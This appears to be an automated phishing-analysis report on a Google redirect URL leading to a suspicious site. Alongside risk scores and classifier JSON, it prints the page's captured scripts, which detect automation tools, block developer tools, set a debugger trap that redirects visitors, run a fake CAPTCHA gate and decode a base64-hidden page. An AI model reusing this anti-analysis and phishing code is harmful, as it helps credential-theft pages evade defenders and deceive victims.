Windows Analysis Report
https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://www.google.at

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of evading detection and potentially carrying out phishing or other malicious activities."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
pOytowxwJw = false;
(function JeRwbJFSBz() {
    let FDEIOkDZEw = false;
    const yecIBSRKdE = 100;
    setInterval(function() {
        const lovRzYAgFc = performance.now();
        debugger;
        const DbRlPynXUI = performance.now();
        if (DbRlPynXUI - lovRzYAgFc > yecIBSRKdE && !FDEIOkDZEw) {
            pOytowxwJw = true;
            FDEIOkDZEw = true;
            window.location.replace('https://login.microsoftonline.com');
        }
    }, 100);
})();
    

{
    "risk_score": 4,
    "reasoning": "The script contains a mix of low-risk and moderate-risk indicators. It uses the Turnstile CAPTCHA service, which is a legitimate security measure, but also includes some aggressive DOM manipulation and external data transmission without clear transparency. Further review may be needed to ensure the script's intent and implementation are appropriate."
}

var cltoken = null;
function isNumber(evt) {
  var charCode = (evt.which) ? evt.which : evt.keyCode
  if (charCode > 31 && (charCode < 48 || charCode > 57))
    return false;
  return true;
}
var anwser;


document.addEventListener("DOMContentLoaded", function() {
    document.getElementById("captchaSubmitButton").addEventListener("click", cAWiAIShEd);        
    document.getElementById("captchaInput").addEventListener("keydown", function(event) {
        if (event.key === "Enter") {
            cAWiAIShEd();
        }
    });
});

const canvas = document.getElementById("captchaCanvas");
const ctx = canvas.getContext("2d");

function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

function drawRandomLines(ctx, lineCount) {
    for (let i = 0; i < lineCount; i++) {
        ctx.beginPath();
        ctx.moveTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
        ctx.lineTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
        ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.7)`;
        ctx.lineWidth = getRandomInt(1, 3);
        ctx.stroke();
    }
}

function drawRandomDots(ctx, dotCount) {
    for (let i = 0; i < dotCount; i++) {
        ctx.beginPath();
        ctx.arc(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(1, 3), 0, Math.PI * 2);
        ctx.fillStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.5)`;
        ctx.fill();
    }
}

function drawRandomEllipses(ctx, ellipseCount) {
    for (let i = 0; i < ellipseCount; i++) {
        ctx.beginPath();
        ctx.ellipse(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(20, 40), getRandomInt(10, 20), Math.PI / 4, 0, 2 * Math.PI);
        ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.6)`;
        ctx.lineWidth = 1;
        ctx.stroke();
    }
}

function drawCaptchaText(ctx) {
    const num1 = getRandomInt(1, 9);
    const num2 = getRandomInt(1, 9);
    const captchaText = `${num1} + ${num2}`;
    ctx.font = "40px Arial";
    ctx.fillStyle = "black";
    anwser = num1+num2;
    ctx.fillText(captchaText, canvas.width / 2 - ctx.measureText(captchaText).width / 2, canvas.height / 2 + 15);
}

function drawCaptcha() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = "#ffffff";
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    drawRandomLines(ctx, 10);
    drawRandomEllipses(ctx, 3);
    drawRandomDots(ctx, 100);
    drawCaptchaText(ctx);
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA4xQO3i_we8Fbpp',
    'error-callback': KvXNlBKnya,
    callback: jYSKjGurSl,
});
function KvXNlBKnya() {
    turnstile.reset();
}
function jYSKjGurSl(token) {
    cltoken = token;
    setTimeout(function(){
    document.querySelector(".captcha-checkbox").style.display = "none";
    drawCaptcha();
    document.querySelector(".captcha-outerboxcontent").style.display = "flex";
    document.querySelector(".captcha-content").style.display = "flex";
    }, 2000);
}
function cAWiAIShEd() {
var csa = document.getElementById("captchaInput").value;
if(csa == ""){
document.getElementById("captchaanwsererr").innerText = "Anwser is required";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa !== ""){
if(csa !== anwser){
document.getElementById("captchaanwsererr").innerText = "Wrong Anwser";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa == anwser){
document.getElementById("captchaanwsererr").style.display = "none";
var UvdYUWehof = document.getElementById("LrrMJEAxTl");
UvdYUWehof.onsubmit = function (event) {
    event.preventDefault();
};
document.getElementById("pagelink").value = 'oVGg';
let formdata = new FormData(UvdYUWehof);
formdata.append("cf-turnstile-response", cltoken);
document.querySelector(".captcha-outerboxcontent").style.displ

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9Obi50cmlsaXZhci5ydS9td0FkdXIv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyOjpiZWZvcmUgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICB0b3A6IDA7DQogICAgbGVmdDogMDsNCiAgICByaWdodDogMDsNCiAgICBib3R0b206IDA7DQogICAgei1pbmRleDogLTE7DQp9DQouY29udGVudCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgIHBhZGRpbmc6IDEwcHg7DQogICAgd2lkdGg6IDMwMHB4Ow0KICAgIG1hcmdpbjogMjBweCBhdXRvOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il0gew0KICAgIGRpc3BsYXk6IG5vbmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGxhYmVsIHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KfQ0KDQouY2FwdGNoYS1jaGVja21hcmsgew0KICAgIHdpZHRoOiAyMHB4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBib3JkZXI6IDJweCBzb2xpZCAjZDNkM2QzOw0KICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICAgIG1hcmdpbi1yaWdodDogMTBweDsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il06Y2hlY2tlZCArIGxhYmVsIC5jYXB0Y2hhLWNoZWNrbWFyazo6YWZ0ZXIgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBsZWZ0OiA1cHg7DQogICAgdG9wOiAxcHg7DQogICAgd2lkdGg6IDZweDsNCiAgICBoZWlnaHQ6IDEycHg7DQogICAgYm9yZGVyOiBzb2xpZCAjNGNhZjUwOw0KICAgIGJvcmRlci13aWR0aDogMCAzcHggM3B4IDA7DQogICAgdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpOw0KfQ0KDQouY2FwdGNoYS10ZXh0IHsNCiAgICBmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGNvbG9yOiAjMzMzOw0KfQ0KDQouY2FwdGNoYS1sb2dvIGltZyB7DQogICAgaGVpZ2h0OiA0OHB4Ow0KfQ0KDQoNCkBrZXlmcmFtZXMgc3BpbiB7DQogICAgMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfQ0KICAgIDEwMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOyB9DQp9DQoNCi5jYXB0Y2hhLW91dGVyYm94Y29udGVudCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgIGJvcmRlcjogMXB4IHNvbGlkICNkM2QzZDM7DQogICAgcGFkZGluZzogMTBweDsNCiAgICB3aWR0aDogMzAwcHg7DQogICAgbWFyZ2luOiAyMHB4IGF1dG87DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGJveC1zaGFkb3c6IDBweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yKTsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNvbnRlbnQgew0KICAgIGRpc3BsYXk6IG5vbmU7DQogICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICB3aWR0aDogMTAwJTsNCiAgICBtYXJnaW4tdG9wOiAxMHB4Ow0KfQ0KDQouY2FwdGNoYS1jb250ZW50IGltZyB7DQogICAgd2lkdGg6IDEwMCU7DQogICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBpbnB1dCB7DQogICAgd2lkdGg6IGNhbGMoMTAwJSAtIDIwcHgpOw0KICAgIHBhZGRpbmc6IDVweDsNCiAgICBmb250LXNpemU6IDE2cHg7DQogICAgdGV4dC1hbGlnbjogY2VudGVy

{
  "contains_trigger_text": true,
  "trigger_text": "Verifying...",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter the result",
  "prominent_button_name": "Submit",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}